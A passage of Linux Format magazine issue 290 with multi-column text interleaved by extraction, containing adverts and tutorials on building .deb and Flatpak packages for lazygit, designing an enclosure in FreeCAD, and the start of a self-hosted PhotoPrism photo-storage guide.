based reaction game! the programming language Rust. computers to communities in need.

ISSUE 286 ISSUE 285 ISSUE 284

March 2022 February 2022 January 2021

Product code: Product code: Product code:

LXFDB0286 LXFDB0285 LXFDB0284

In the magazine In the magazine In the magazine

Not all VPNs Stay one step Discover how
are created equally – find out how ahead of the nefarious perpetrators to turn your Raspberry Pi into an all-
to avoid second-rate services and of ransomware with our in-depth singing, all-dancing media hub. We
maintain your privacy online with feature. We bring you tutorials on put a spotlight on video conversion
our in-depth feature. We also test rock music effects, offline password tools, take you on a tour of Stacer,
five GUI text editors, show how to management and creating a virtual the one-stop system management
build a distro from the ground up network lab. Discover how to set up tool, and emulate the Oric-1
using Linux From Scratch, emulate a temperature display for your (thankfully without that keyboard).
an MSX, set up multi-boot USB Raspberry Pi and build web services Discover how to build a Pi-powered
devices, code a 3D game world, and with Go and the Gin framework. We NAS and learn more on how the
reveal the tools for managing your also put five of the best GUI-based world’s top-500 supercomputers all
passwords from the command line. backup tools through their paces. harness the power of Linux.

To order, visit www.magazinesdirect.com

Select Single Issues from the tab menu, then select Linux Format.
Or call the back issues hotline on 0330 333 1113
or +44 (0)330 333 1113 for overseas orders.

Quote the Product code shown above and have your credit or debit card details ready

66 LXF290 July 2022 www.linuxformat.com

 UK readers
READING IN THE USA? turn to
p16

SUBSCRIBE!
Don’t wait for the latest issue to reach your local store –
subscribe today and let Linux Format fly straight to you.
Faster, cheaper and with DRM-free archive access!

3 GREAT
WAYS TO
SUBSCRIBE
Print, digita
l-only,
and print+d
igital
bundles!

USA REST OF THE WORLD EUROPE

From $132 From $132 From €100
For 13 issues For 13 issues For 13 issues

IT’S EASY TO SUBSCRIBE!

Visit www.magazinesdirect.com/linux-format
Call +44 0330 333 1113
Lines open Monday-Friday, 9am-5pm, UK time

www.techradar.com/pro/linux July 2022 LXF290 67

TUTORIALS Package building

DEBREATE
Credit: https://antumdeluge.github.io/debreate-web

How to roll your

own Linux packages
Installing from existing repos is too easy for Aaron Peters, who’s decided to
build his own native package. Here’s how you can follow in his footsteps.

he open source ecosystem provides us with

T such a bounty of great software. And while

modern distributions have come a long way in
collecting everything a typical user might want, you may
still find something that’s “not in the repos.” And while
OUR you can just compile it and plonk it down on your
system, in this article we’ll explore a couple of ways to
EXPERT make it fit in nicely with the rest of your software.
Aaron Peters Distribution publishers also do a great job of
has spent well collecting the best of open source software in their
over 20 years repos. Fedora contains an estimated 15,000 packages
exploring the in its main repo alone, while Ubuntu boasts over 60,000. The Control screen in Debreate provides an easy-to-use interface to
Linux ecosystem, So why not use the ones they provide? There might be create the .DEB control file.
yet still needed to a couple of very good reasons you’d want to have
dig into how this software packaging in your pocket. this consists of an executable (which will live in /usr/
whole packaging The most obvious reason to roll your Linux packages bin), and two informational files that are distributed with
thing works. is for your own software. This needn’t be anything the binary (which we’ll place in usr/share/doc/lazygit).
fancy... it could just be a useful script you created that Build/installation commands: packages can contain
you’d like to install to the system proper instead of just commands or scripts that help configure the package.
your ~/bin directory. Of course, you may also want to In the .DEB format, for example, you can configure
distribute it to a wider audience. scripts to run before and/or after installation, as well
Furthermore, your distro’s repositories may not as before and/or after removal. Uses for these might
include the program you want. And while you could include setting up system-level user accounts that
Assembling
install it in the “old school” fashion (see boxout, right), the application will use.
a .DEB file by
installing a package gives you a clean way to manage it. These items are combined into the package, which
hand isn’t that
difficult, just Finally, your distro may include the program in is a compressed archive (for native packages) or an
a little finicky. question, but at something less than the current version output directory (in the case of containerised
They consist (especially if you’re running a Long Term Support programs). On installation, the data from the manifest
of a text file version). You can always grab the most recent version of will be registered with the format’s internal catalogue.
(debian- the binary and package it up to take advantage of the Packages can be set up to either build the application
binary) and most recent features. from source or created with the binary files that are
two archives With these reasons in mind, we’ll look at a variety of installed on the target system. Where they’re installed
(control.tar. easy-to-use-tools targeting major formats. depends on the format. Native packages will be installed
xz and data.
relative to the root directory, while containerised
tar.xz). A post
on the Ubuntu
Anatomy of a package packages have dedicated locations elsewhere (/snap for
Forums (https:// There are a variety of package formats in the Linux Snap packages, and /var/lib/flatpak for Flatpaks).
ubuntuforums. world. And although they’re all unique, there are a Hopefully this provides you with a basic concept of
org/show number of properties common across them: packages and their make-up. But we all know reading is
thread.php?t= Manifest/control file: this contains metadata about no substitute for rolling up one’s sleeves and doing, so
910717) gives the package, such as name, version number, developer/ without further ado, let’s get to packaging!
a great step- maintainer, and in the case of native packages,
through of dependency information. Creating .deb packages
assembling a Partial filesystem: packages contain only the portions For this and the following exercises we’ll use a simple
binary Debian
of a directory structure that the program requires. In the example. The lazygit application is a perfect choice for a
package.
simple example we’ll work with in the sections below, couple of reasons, not least of which is that it’s a nice

68 LXF290 July 2022 www.linuxformat.com

 Package building TUTORIALS

text UI to interact with Git. It’s available in the standard time selecting Replaces as the
Ubuntu repositories; however, on 20.04 (the current category, and lazygit <= 0.33 .
LTS) it’s on version 0.27.4, where the latest release from So we’ll keep our up-to-date
the project’s GitHub account is v0.34. And downloading version of this program until
the release tarball and peeking inside, we see that we’ve something later and greater
only got three files to worry about: the README, the comes out in the repos. With
LICENSE, and the executable itself. these two things in place, click
We’ll start by creating a .DEB package for lazygit, so the right arrow to move to the
our Ubuntu machine(s) will have the latest and greatest. next step.
Debreate (https://antumdeluge.github.io/debreate-web) The Files screen (right) is
is a graphical application that represents a great way to where we’ll pick the actual
start your packaging journey. You can install it from the files to be included in the
standard repos using the following command: package, as well as where they should be placed when Add the necessary
executables and
$ sudo apt install debreate the package is installed. As mentioned, the archive from
other necessary
As you launch the program for the first time you’ll be lazygit’s GitHub page only contained three files: the files to your project
greeted with an intro screen (including a link to a executable, the LICENSE, and the README. We’ll place on Debreate’s
YouTube tutorial), then quickly shown the first screen in the program file in /usr/bin, and the two others in /usr/ Files screen.
the main interface, titled Control (see screenshot, left). share/doc/lazygit. The Files screen guides us through
Package: give the package a name, consisting of lower the process of picking each file to be included from the
case letters, numbers, “+," “-," or ".” symbols. panel on the left, choosing where it should be placed on
Version: we’ll use the upstream version of lazygit for install in the Target section to the right. Click that right
this, adding a “-1” for our first build, for a result of 0.34-1. arrow once you’ve placed all the files that your program
Maintainer: put your own name here. requires.
Email: likewise, your address. There’s a couple other screens we don’t need for this
Architecture: select the appropriate option from this simple package, but are as follows:
dropdown, probably “amd64”, possibly “arm”, or “all”, Scripts: Debian packages support scripts to be run See how the
meaning it’s processor-independent. before install, after install, before removal, and/or after control files are
put together
Section: this is the category where the package will removal. You can either enter the script content directly
by opening an
reside within a larger repository. You can take your cue into this window, or link executables to run instead.
existing .DEB
here from similar or related programs. Since lazygit Changelog: this is good practice when actively file. They’re
helps us use git, we’ll place it in the same VCS (Version maintaining a package – you can put something here. archived
Control Systems) section. Copyright: again, you should generally include this, with the ar
Priority: according to the Debian/GNU FAQ, this and Debreate has some built-in templates to help. command, so
should be set to Optional. Menu Launcher: as a terminal application we’ll skip at the terminal
Short Description: the description of the package in a this, but we could set this up, because Debreate has the following
software manager like the Software Centre or Muon. fields to even enable us to select which terminal it will extract their
Long Description: this longer description will display should launch. contents: ar -x
<package file>.
in a detailed view, such as when a package is selected in Finally, we arrive on the Build screen (see overleaf).
Most desktop
a software manager, or by using apt-cache show . You know what to do when you see those wrench and
archive tools
You’ll notice an optional field titled Source in the hammers crossed... click that button, and watch will open these
Debreate window. This is normally required in Debian Debreate create your package. If you kept the ‘Check as well.
control files when the package will be compiled from package for errors with lintian’ option checked and it
source. But since we’re merely packaging up a binary does find some errors, you can go back and check
file, we can skip this. your input on prior screens. But some of these aren’t
Once you’ve filled out all the above fields, select important for personal use. Provided the package
File>Save from the main menu to save your progress generates, you can see if it will install and run correctly
as a Debreate project, then click the right arrow button with the usual commands:
to proceed. This will bring you to the page titled
Dependencies and Conflicts. Here you’ll detail what
other packages need to be present, as well as those that SOURCE-BASED INSTALLATION
should be absent. We can sneak a peek at the Ubuntu
version of the package with the following command: The original install system was to download the source code, compile
$ apt show lazygit it and run it. Subsequent processes such as make install would
This reveals it only requires git itself. So add this as a place all the compiled resources in their proper locations. But another
dependency as follows: valuable method for building from source is by compiling the source
In Dependency/Conflict Package Name, enter git . packages. In Debian-based distros you can compile and install the
Enter nothing in the Version field because any version programs from their source code using a command such as:
of git will do for us. sudo apt-src --build install <package name>
The Depends button should already be selected For most people there’s little value in compiling these source
within Categories. packages. However, being able to compile software from source in
Click the plus button to add this as a dependency. general is a useful skill. And you don’t need to be a developer to do it.
However, we’re not done yet. Because lazygit exists If you become comfortable with the old-school make ; make install
in the repos (in Ubuntu, at least), we want to make sure process, the chances of you not being able to use a given program
our obviously superior version doesn’t get overwritten because it’s “not available” dwindles to almost nothing.
by an update. We’ll add another entry to this page, this

www.techradar.com/pro/linux July 2022 LXF290 69

TUTORIALS Package building

$ sudo dpkg -i lazygit_0.34-1_amd64.deb $ flatpak install org.freedesktop.Platform//21.08 org.

$ lazygit freedesktop.Sdk//21.08
For Flatpaks, If the lazygit UI appears, hit the music, because As the screenshot shows (below), you may find you
check out you’ve just packaged your first Linux application! already have the platform installed (quite possible if
Flathub on you’ve installed other Flatpaks), and that one or both of
GitHub (https:// Flat ain’t no Snap these have other dependencies. Note the 21.08
github.com/ But what if you’re not a “distribution loyalist," whether appended to each Flatpak name, indicating we’re using
flathub). Browse to Debian/Ubuntu or a different one. Or perhaps you’d their August 2021 versions (the most recent, at the time
some of the like to distribute something to a wide variety of users, of writing). But this is nothing new to the seasoned
manifests regardless of what distro they use. Fortunately there are Linux pro, so proceed with the install.
for existing
a number of distribution-neutral package formats out Now we’re ready to assemble our program. There
programs and
how they’re
there, and (as we saw in LXF244) for an application like aren’t any GUI applications like Debreate to create
constructed. lazygit, Flatpak is an excellent option. Flatpaks, but fortunately the process for basic programs
Some are Before we get started with the package, make sure is straightforward. First, create a new working directory,
written in you have both the Flatpak base package, as well as the and move the lazygit binary, README, and LICENSE files
JSON, but it’s flatpak-builder package. In a Debian-based distro run into it. Now fire up your favourite text editor, and enter
easy enough $ sudo apt install flatpak flatpak-builder the following metadata for your package:
to read if you Now we can get to business. First, we’ll need to pick app-id: com.example.lazygit
know your way a Flatpak runtime. These are to Flatpak applications like runtime: org.freedesktop.Platform
around YAML. a base Linux distro is to native packages, in that it runtime-version: ‘21.08’
provides the underlying platform for the program to run. sdk: org.freedesktop.Sdk
There are three primary runtimes at the time of writing: command: lazygit
Freedesktop, which provides a foundation including finish-args:
GLib, D-Bus, PulseAudio, X11/Wayland, and GTK3. - --filesystem=home
GNOME, which extends the Freedesktop runtime with modules:
GNOME-specific libraries and support. - name: lazygit
KDE, which like the GNOME version adds some KDE- buildsystem: simple
specific bits to the Freedesktop runtime. build-commands:
Since lazygit is a console tool we don’t need anything - install -D lazygit /app/bin/lazygit
fancy. Even Freedesktop is probably overkill for it, but we - install -D README.md /app/usr/share/doc/lazygit/
need to choose something, and this is as compact as README.md
we can go. Install both the Freedesktop runtime and its - install -D LICENSE /app/usr/share/doc/lazygit/
SDK with the following command (see below): LICENSE
sources:
- type: file
path: lazygit
- type: file
path: README.md
At the click of a - type: file
button, Debreate path: LICENSE
assembles your - name: git
.DEB package, and
make-args:
even runs some
helpful checks - INSTALL_SYMLINKS=1
for you. - NO_PERL=YesPlease
- NO_TCLTK=YesPlease
make-install-args:
MORE PACKAGING OPTIONS - INSTALL_SYMLINKS=1
- NO_PERL=YesPlease
If Debian and Flatpak formats aren’t to your taste, here’s some more - NO_TCLTK=YesPlease
resources you can explore to try your hand at packaging applications. post-install:
alien: Available from the Ubuntu/Debian repos, it’ll convert Red Hat- - find . -type f -name perllocal.pod -delete
format .rpm packages into .deb files that you can install. sources:
RPM: Red Hat’s Sysadmin site has advice on creating your first - type: archive
.RPM package (www.redhat.com/sysadmin/create-rpm-package).
Snap: It may be a little controversial, but the fact remains that
Canonical’s Snap format has some advantages over Flatpak (it can be
used to run servers in addition to userland tools). Get started here:
https://ubuntu.com/tutorials/create-your-first-snap#1-overview.
AppImage: Has a simplicity – just download, enable (permissions),
execute. Check out the Packaging Guide (https://docs.appimage.
org/packaging-guide/index.html) to get started with this format.
EPM: The ESP Package Manager has the ability to create packages
in 11 formats from a single batch of files, including .DEB, .RPM, BSD
format, and macOS. Find out more at https://jimjag.github.io/epm. If you’ve installed a Flatpak before then there’s a good chance that
you’ll have the base utility, but not the builder application.

70 LXF290 July 2022 www.linuxformat.com

 Package building TUTORIALS

sha256: af5ebfc1658464f5d0d45a2bfd884c935fb607
a10cc021d95bc80778861cc1d3
url: https://mirrors.edge.kernel.org/pub/software/
scm/git/git-2.36.0.tar.xz
x-checker-data:
type: html
url: https://mirrors.edge.kernel.org/pub/
software/scm/git/
version-pattern: git-([d.-]+).tar.xz
url-template: https://mirrors.edge.kernel.org/
pub/software/scm/git/git-$version.tar.xz
Save this in your working directory as a YAML file,
with the value of the app-id field as the name (in the
example above, com.example.lazygit.yml ). Let’s
explore what’s going on in this manifest file for a bottom right) how Flatpak fetches the source for Git, Once you get
far enough into
moment. The first four lines are specifying the Flatpak’s then compiles it. Next step is to install it. Unlike native the Flatpak
name ( app-id ), as well as which runtime ( runtime and packagers, the process doesn’t actually generate an hierarchy, things
runtime-version ) and SDK ( sdk ) it’s using. After that archive file. Instead, you can install it by pointing Flatpak start to look like a
comes the command it will provide, in this case lazygit . to the build directory you created with the previous tiny, self-contained
Linux system.
Following this comes a directive ( finish-args ) that command. To install it just for the current user, you can
provides the application access to the user’s home use the following:
directory (--filesystem=home). $ flatpak-builder --user --install --force-clean ./build
Flatpak supports the concept of modules, which are com.example.lazygit.yml
logical subdivisions it will assemble into the package. The --user flag here, like with the standard flatpak
These might be different parts of a software stack (for command, installs the program just for the current user.
example, the database component for a business Adding --force-clean will also clear out the existing
program), or your main program as well as other helper contents of the build directory, for a sparkling new build.
applications (the Obsidian notetaking app, for example, Note in the output shown in the screenshot mention of
includes modules for Git and Pandoc). The first module the Cache; Flatpak won’t build files that haven’t
listed is lazygit itself. We’ll specify an assembly type of changed, so in this case everything was already done.
“simple” ( buildsystem ), because we’re not actually Finally, change into a Git-controlled directory in
compiling the executable, just packaging it. For this your home folder, and run your application with the
reason the next lines ( build-commands ) will merely following command:
copy the files we placed in the working directory into $ flatpak run com.example.lazygit
appropriate places in the Flatpak. Note Flatpaks use the Once again, if the Lazygit UI fires up then you know
/app prefix which, along with other metadata such as that your build is good (enough for your own personal
the app-id, system architecture and current package use, anyway)!
version, dictates where it will live on the system once Learning how to package applications is a worthwhile
installed. The screenshot (above) shows a typical exercise even if you’re not “formally” a developer. As
Flatpak file layout within the /var/lib/flatpak directory. with all things Linux, you’ll at least learn something
Finally, the last lines of the stanza (sources) catalogues along the way. You may even develop some utility out of
what we’re including, and what it is. While Flatpak’s creating your own packages, perhaps as a way to easily
builder does support grabbing and extracting archives, get them installed on all your systems.
for the purposes of this article we’ll simply use the files Yet in addition to all this, it will give you a little
we already have. appreciation for the effort of all the hard-working
But this alone won’t suffice. Remember how in volunteer packagers that go through a process much
Debreate we had to specify a dependency on git? more involved than the above to make sure that your
Well the Flatpak will require access to git too, but favourite programs are just a simple click or terminal
unfortunately won’t have access to the host system’s command away.
executables to get it. Fortunately, the Obsidian team So thanks to all the packagers out there… because
already did this work for us. Grab their Git module this author sure doesn’t want to have to do this by hand
settings from the Obsidian Flatpak’s manifest for the 4,000 packages and counting on his system!
(https://github.com/flathub/md.obsidian.Obsidian/
blob/master/md.obsidian.Obsidian.yml, lines 27-46),
and drop those right into our file.
The manifest complete, all that’s left is to do the
actual assembly. From the working directory, run the You can see not
following command to build it: only your binaries
$ flatpak-builder ./build com.example.lazygit.yml being copied,
but your source
The output should hopefully show a successful build, being compiled in
and you can explore the build directory to confirm. Note the output from
at the beginning of the process (shown in the screenshot, flatpak-builder.

GET LXF PRE-PACKAGED FOR YOUSubscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 71
TUTORIALS CAD basics

FREECAD
Credit: www.freecadweb.org

Design 3D parts with

computer aided design
Make a 3D part in FreeCAD’s Sketcher workbench with Michael Reed,
even if you think an orthographic view is the inside of someone’s mouth.

reeCAD is a CAD (computer aided design) to work on in this month’s tutorial, and ranging all the

F program that can be used to design and

visualise 3D objects. It’s a parametric modeller
way up to detailed architectural design of buildings
and complex robotic concepts. The different areas
in that all dimensions are specified as parameters, and of specialisation are accessed through the various
they can be controlled like variables in computer workbenches of FreeCAD. For the purposes of this
OUR programming. This also means that you can design a
complex 3D object and, at any time, alter any element
tutorial, we’re going to spend most of our time in the
Part Design and Sketcher workbenches, and we’re going
EXPERT that makes up that object. to make a 3D object – an electronic enclosure.
Michael Reed FreeCAD is also a solid modeller, meaning that if you
could have had a cut a chunk out of a solid object in FreeCAD, it’s like Free as in design
modelling career taking a bite out of an apple. By contrast,in a polygon- Having launched FreeCAD, start by clicking the New icon
– sexy parametric based modeller such as Blender, the objects that you in the main toolbar to create a new document. Select
constructive work with are actually hollow. the Part Design workbench (not to be confused with the
solids modelling, FreeCAD can turn its hand to many different types of Part workbench) in the drop-down in the main toolbar.
that is. projects such as simple models like the one we’re going When you change from one workbench to another, you
should notice available tools in the toolbar change.
THE SKETCHER WORKBENCH The sidebar has a window marked Combo View and
this has two tabs: Model and Tasks. If you look at the
content of the Tasks tab, it should offer the option of
creating a body inside the Start Part subwindow. The
1 2 Tasks tab will regularly make useful suggestions such as
this, and they’re based on the most common next steps
considering what you’re currently doing. Click Create
body in the Tasks tab. However, note that you could
3 have gone your own way and clicked the Create body
icon in the toolbar instead, and the end result would
5 6 have been exactly the same.

4 Body of work
In FreeCAD, the ‘body’ is the object that the 3D elements
are attached to, and you can have more than one body
in a design. Having established that, this is a good point
to summarise what we’re going to do over the course of
this project. We’re going to attach a kind of 2D technical
FreeCAD has a lot of toolbars… a surface of the model. The moveable, editable drawing, called a ‘sketch’, to the body and then extrude
1
You might want to move them around to constraints are shown in red. it to make a 3D box shape. Following this, we’re going to
make sure that they’re all accessible. add another sketch to the top face of this box and use
The Combo view
The Workbench menu 5 You’ll move freely between the Model
that to hollow out the inside of the box.
2 Enables you to switch workbenches. tab to obtain an overview of your work-in- Follow the next suggestion in the Tasks tab by
progress model, and the Tasks tab to carry selecting Create sketch. Again, you could have done this
The Constraint toolbar out your next action. by clicking the Create a New Sketch icon in the main
3 These tools make it possible for you to toolbar. When you create your first sketch, you’re asked
limit the movement of different elements. The 3D navigator
6 Use this feature if you want an exact view
which plane you want to attach the sketch to. In our
The Workbench area such as ‘top’ or ‘right’ or to reorientate yourself case, we’re going to work as if we have a piece of paper
4 This is where you draft out a 2D view of if you’re lost. spread out flat on a table in front of us.

72 LXF290 July 2022 www.linuxformat.com

 CAD basics TUTORIALS

If we were designing an object like a door, we’d

probably start with a sketch attached to the XZ-plane
because that object would sit up vertically rather than
horizontally. However, we want to work on the XY-plane
because this is an object that’s best designed as though
we were looking down on it. For that reason, in either the
Tasks tab or by clicking within the 3D window, select
XY-plane and click OK. In the future, we can attach
sketches to surfaces on the model rather than a plane.

The Sketcher
FreeCAD will automatically switch to the Sketcher
workbench. As before, you should notice the available
tools in the toolbar area change to reflect the change
in workbench. Don’t worry if, at this point, the various
toolbars of the different workbenches look
overwhelming; you’ll soon learn to find your way around the rectangle around with the mouse. Before we can We’ve padded the
because similar operations are grouped together. employ a sketch in the other parts of FreeCAD, we must sketch to 30mm to
add some height.
Now we can place our first element into the sketch: eliminate all degrees of freedom so that each element
We need to round
a rectangle representing the outline of the object that can’t move in any way, and we do this by the use of the corners next.
we’re designing. In this case, hover over the tools until what’s called Constraints.
you find the one with the tooltip that says Create
Rectangles and click it. Click in the main window area Constrain the rectangle
to lay down a start point, move the mouse and click First, left-click an empty area of the drawing to make
again to fix the opposite corner of the rectangle in sure that nothing is selected. You’ll have to get into the
place. At this point we don’t have to be specific about habit of doing this because the FreeCAD Sketcher uses
measurements; we’re just laying down the basic shape. sticky selection. All of the constraint icons are grouped
If you look over at the Tasks tab, there’s a sub- together and you need to find the Constrain Horizontal
window called Solver messages and a warning that the Distance icon that looks like a capital letter ‘I’ on its side.
object is, for the moment, unconstrained and we have Click this and then click the top edge (the technical
four DoF (degrees of freedom). This is because we term for straight line) of the rectangle. In the dialog that Don’t forget to
haven’t told FreeCAD what the dimensions of the pops up, specify a length of 95mm. save! FreeCAD is
rectangle are. You can test this by moving the points of Whenever you’ve finished using a particular Sketcher a reliable piece
tool such as a Constraint, you can discontinue it by of software, but
it’s complex.
right-clicking in the main window area. Do this and have
Add a number
a go at moving the rectangle around with the mouse.
to the filename
You’ll see that you can alter the rectangle’s height and from time to
even move the rectangle around, but can no longer alter time so that you
its width because of the constraint we’ve added. The can step back.
solver window now tells us that we have gone from four
down to three degrees of freedom.
Left-click an empty area of the drawing to deselect
everything. Specify the height of the rectangle by
selecting the Constrain Vertical Distance icon in the
toolbar and then clicking one of the vertical edges of the
You’ll be spending quite a lot of time in the FreeCAD Sketcher. We’ve rectangle. Specify a length of 65mm and click OK. Right-
laid down a rectangle and then constrained its dimensions. click in the main window to deselect the Height

WORKING WITH CONSTRAINTS

Constraints are key when you’re working There’s a small ‘fx’ icon in this field as
in FreeCAD. You’ve probably noticed that well, and this is the formula editor used
when you add a constraint in the for adding calculations. For example, you
sketcher, it adds a label to the diagram. might want the height of an object to be
This label isn’t just for informational half of the width.
purposes. For a start, it’s draggable and You can also give a constraint a name.
you can place it where you like. This means that it can be altered from
You can double-click constraints in other areas of the program or referenced
the Sketcher workbench to edit them. using the formula editor. FreeCAD even
Oh, and you can add measurements includes the Spreadsheet workbench, so
A plain rectangle. It’s constrained from the start
using units other than the default of you can edit the values in that rather than because the start and end points of edges are
millimetres. So, if you add a value of 10in, moving into a specific editor to obtain a joined by a coincident constraint, and the edges
it would convert it to 254mm for you. value you need to alter. are either horizontally or vertically constrained.

www.techradar.com/pro/linux July 2022 LXF290 73

TUTORIALS CAD basics

Constraint tool. We can now no longer change the Now that we’re viewing the sketch in the Part Design
dimensions of the rectangle, but its overall position isn’t workbench, it should be represented as a flat 3D
Multiple yet locked in place. rectangle. Let’s add some substance to it by extruding
selection in If we click the text in the solver telling us how many it. Click the yellow Pad icon. Immediately, the object
the Sketcher degrees of freedom are left, the four corner points of becomes a 3D dimensional solid because it now has
tool can be a the rectangle will be highlighted green. Any of these can some height to it. In the sidebar dialog, specify a length
bit unwieldy. still move in the x- and y-axis, and this is the problem. of 30mm because we want that to be the height of our
Always click There are a few different ways of locking the rectangle object. You should now have a solid block in the middle
a blank area in place, but the simplest is to lock the bottom corner of the main window.
first before of it to the origin (centre point) of the sketch. This is
beginning your
selections.
the red dot at the intersection of the major lines on the Round the corners
Then, click one
backdrop. This also introduces us to multiple selection Let’s round the corners to make our box a bit more
element after in the Sketcher. attractive. In the Combo View>Model tab in the sidebar,
another to Left-click an empty area of the sketch to deselect all. click the little triangle next to the Pad object to open it.
multiple-select. Left-click the origin of the sketch and then left-click the The sketch that we created is still in there, so double-
bottom corner of the rectangle. Locate the Constrain to click it to open it. Click a blank space to fully deselect
Coincident icon in the toolbar and click it. This should everything. To round the corners of our box, locate the
lock those two points together, giving us a constrained Fillets tool in the toolbar and click it. Click two edges
sketch. Once this is done, it’s time to take our sketch that are connected together by a corner. An arc will now
into the 3D world, so click Close in the Tasks tab. be added between those two lines, which gives us a
round corner. Now repeat the procedure for the other
three corners.
One slight problem at this point: replacing the
corners with arcs has removed some of the constraints
because we had used corner points for them, but we’ll
fix that in a moment. Before that, we’ll constrain the
corner arcs so that they’re consistent. To do this, locate
Because of the the Constrain Arc or Circle tool in the toolbar and click it
rounded corners, with nothing selected. Click a corner arc. In the dialog
we measure height that pops up, input 8mm as the radius. Now do the
from the first
points of the
same for the other three corners.
upper and the
lower edge. Boxing clever
As we said, there’s a slight change to how we constrain
the edges of the box, now that the corners are curved.
ADDING PILLARS Click a blank space to deselect all. Click the start point
of the topmost edge and then on the start point of the
From the main Part Design screen select the model’s interior floor, bottom edge. As before, use the Constrain Vertical
and click the Create Sketch icon. Use the Exterior Geometry tool so Distance tool to specify a distance of 65mm between
that you can access geometry from another sketch. What we’re after these two points. Because the top and bottom lines of
in this case is the four arcs that make up the corners of the outer the rectangle are parallel it makes no difference to the
walls. Once these are clicked, each presents a point that’s the centre width of the box that those points are no longer in the
of the arc. On these, create a circle by first clicking the centre point of corner of the box. Using this method, the overall width
the corner arc. This constrains the centre of the circle. On each of and length of the object is exactly the same as if we had
these, constrain the radius to 6mm using the Radius Constraint tool. been able to specify the line lengths as before.
As ever, FreeCAD enables us to move back and forth between Constrain the start points of the left and right
different stages of our design. Back in the Part Design window, add a edges of the box in the same way, using the Constrain
5mm pad to the sketch to raise the pillars up. Consider going back Horizontal Distance tool. We now have one more
into the sketch and adding another concentric circle to each of the constraint to add before the sketch is fully constrained.
pillars to make the screw holes. Click the first point of the bottom edge of the box and
then click the origin point of the sketch and use the

We’ll add some pillars with mounting holes to the corners of the inner part of our box. Back in the Sketcher tool and here we’re creating the interior of the
box. Pull the constraint labels out of the way if needed.

74 LXF290 July 2022 www.linuxformat.com

 CAD basics TUTORIALS

Just looking at the huge number of add-ons shows that FreeCAD is a

well-supported and extensible program.

Coincident constraint to lock them together. Click OK to

see the results of the changes, and you should now have
a solid box with nicely rounded corners.
Once the inner cavity is fully constrained, click OK to Here’s the finished
box, complete with
Back to the Sketcher return to the main part design workbench screen. You rounded corners,
Time to chop out the inside of the box. To add another should see an inner box attached to the top face of hollowed interior
sketch, click the top part of the model in the 3D view to the model. Making sure that the second sketch and pillars in
select the top face of the model. Click the Create sketch (probably called sketch001) is selected in the Model the corners.
icon in the main toolbar. Because we clicked the top tab in the sidebar, click the Pocket icon in the toolbar.
face of the model before this step, this new sketch is Immediately, this should make the second sketch cut
attached to that face. into the model. By default, the depth of the pocket is
You should now be back in the Sketcher workbench, usually 10mm, which isn’t deep enough for our purpose,
and seeing the existing model from above. As before, so change it to 27mm. This means that the bottom wall
create a rectangle, but this time make it smaller than of the box has the same thickness as the side walls.
the outline of the existing model. As before, round the FreeCAD has a
edges and constrain those arcs to 8mm. CAD you go further? habit of popping
The first problem we have to solve at this point FreeCAD is a huge piece of software, and we’ve only up terrifying-
is that we can’t click any parts of the existing model scratched the surface of what it can do, even in terms looking errors in
because, although they’re visible, they’re derived from of the Sketch editor. At this point, you should have a the log window
another sketch. To get around this, locate the External good idea of what it takes to make a simple 3D part at the bottom
geometry icon in the toolbar and click it. To make the in FreeCAD. of the screen.
Most of the
edges from the first sketch available as reference points As an exercise, you might want to add some holes to
time, you’ve
in this second sketch, hover over the top, bottom and the side of the object for connectors and ports. To do
just clicked the
side edges of the existing sketch and click them when this, select the side face of the model and add a sketch wrong thing
they become highlighted. Specifically, what we’re to it. You then add some shapes for the holes, constrain somewhere.
interested in is the endpoints of those edges. Because them, and then use the pocket tool so that they cut
the edges of the box are parallel, we can specify the through the wall and into the interior. You could also add
distance between two lines (the inner and outer wall of a lid to the box. In this case, we’ve created an object out
the box) by constraining the start points of each edge. of thin air, but you could have used a tape measure to
Click the start points of the top edge from the other copy the dimensions from an existing object.
sketch and of the top edge from this sketch. Use the Happy sketching and designing in FreeCAD.
Constrain Vertical Distance tool and specify a distance
of 3mm. Repeat this so that the bottom wall is also
3mm, and then constrain the side walls using the
Constrain Horizontal Distance tool, also by 3mm.

Consider adding holes to the box. Select a side panel, create a new
sketch and use the Pocket feature again. We exported the model as an STL file and imported it into Blender to render it

GET LXF IN 3D OBJECT FORM…Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 75
TUTORIALS LXF Server

PHOTOPRISM
Credit: https://photoprism.app

Set up picture-perfect
online photo storage
In a flurry of paranoia, David Rutland expels Google Photos from his life and
sets up self-hosted photo storage on the semi-official Linux Format VPS.

hotography was a viable career path once upon

P a time. As a hobby, it was expensive, with steep

outlays for even basic point-and-click compact
cameras. A roll of decent quality 35mm film would set
you back £4 in 1990 (equivalent to about a tenner in
OUR 2022 money), and you could add an extra £3.50 to get
the film developed so you could actually see them in
EXPERT glorious 6x4 format. Professionals who chose to pour
David Rutland their creative juice into the field spent even more.
takes pains to Then there were the years of training to learn about
always look cool light levels, exposures and framing. And a high-end
and mysterious in single lens reflex camera in the late 80s could easily
photographs and cost as much as a two-bedroom terrace in Liverpool.
often wears a hat. But the extraordinary outlay would be made back
He’s naturally with work in newspapers and magazines, at weddings,
photogenic and photoshoots, and fancy formal portrait sessions. The PhotoPrism docker-compose file enables you to change
challenges you to These days, the outlay is effectively zero. Almost everything from site caption to NSFW filters.
find a bad picture everyone in the UK already has a phone with an inbuilt
of him anywhere. camera somewhere within three feet of them at all If only there was a way to back up, store and view your
times (where are all the UFO photos?–ED). You don’t images without being vulnerable to the depredations of
need to buy film or pay for developing, and the multi- a data-slurping tech giant…
lens monstrosities churned out by Apple, Samsung, and The self-hosted photo gallery scene is thriving, with
Huawei produce arguably better pictures than even the both individual hobbyists and professional teams vying
best professional equipment from previous decades. to get their software on to your VPS. These include
Even storage is free. Instead of bursting the seams of PiGallery (which works on everything Linux – not just
a heavy oak steamer trunk in the attic, your photos are Raspberry Pis), and the various tiers and licences of
sorted, tagged and uploaded to the cloud – safe and Chevreto, and Lychee, which in our view is more suitable
accessible on Apple or Google servers. to professional photographers. And then there’s
Synology Moments, a superbly professional piece of
If your Are your photos in safe hands? proprietary software designed to run on Synology’s own
photographic
However, trusting your photos to companies who watch NAS hardware.
subjects don’t
